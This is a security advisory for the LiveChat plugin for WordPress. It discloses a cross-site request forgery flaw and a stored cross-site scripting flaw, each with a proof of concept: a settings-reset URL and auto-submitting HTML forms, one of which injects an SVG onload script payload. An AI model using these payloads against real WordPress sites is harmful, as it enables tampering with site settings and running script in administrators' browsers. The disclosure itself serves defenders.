SB2019062607 - Multiple vulnerabilities in LiveChat plugin for WordPress



SB2019062607 - Multiple vulnerabilities in LiveChat plugin for WordPress

Published: June 26, 2019 Updated: July 18, 2019

Security Bulletin ID SB2019062607
Severity
Low
Patch available
YES
Number of vulnerabilities 2
Exploitation vector Remote access
Highest impact Data manipulation

Breakdown by Severity

Low 100%
  • Low
  • Medium
  • High
  • Critical

Description

This security bulletin contains information about 2 secuirty vulnerabilities.


1) Cross-site request forgery (CVE-ID: N/A)

The vulnerability allows a remote attacker to perform cross-site request forgery attacks.

The vulnerability exists due the lack of proper CSRF and Authorisation checks. A remote attacker can trick the victim to visit a specially crafted web page and update or reset the plugin's setting.

PoC:

Option Reset: 
https://[host]/wp-admin/admin-ajax.php?reset=1&page=livechat_settings

Option Update:
<html> <body onload="document.forms[0].submit()"> <form action="https://<BLOG>/wp-admin/admin-ajax.php" method="POST"> <input type="hidden" name="licenseNumber" value="42"/> <input type="hidden" name="licenseEmail" value="whatever"/> </form> </body> </html>


2) Stored cross-site scripting (CVE-ID: N/A)

The disclosed vulnerability allows a remote attacker to perform cross-site scripting (XSS) attacks.

The vulnerability exists due to insufficient sanitization of user-supplied data when updating the "livechat_email" option. A remote attacker can trick the victim to follow a specially crafted link and execute arbitrary HTML and script code in user's browser in context of vulnerable website.

Successful exploitation of this vulnerability may allow a remote attacker to steal potentially sensitive information, change appearance of the web page, perform phishing and drive-by-download attacks.

PoC:

<body onload="document.forms[0].submit()">
    <form action="https://<BLOG>/wp-admin/admin-ajax.php" method="POST">
      <input type="hidden" name="licenseNumber" value="42"/>
      <input type="hidden" name="licenseEmail" value="><svg/onload=alert(/XSS/)>
    </form>
  </body>
</html>

Remediation

Install update from vendor's website.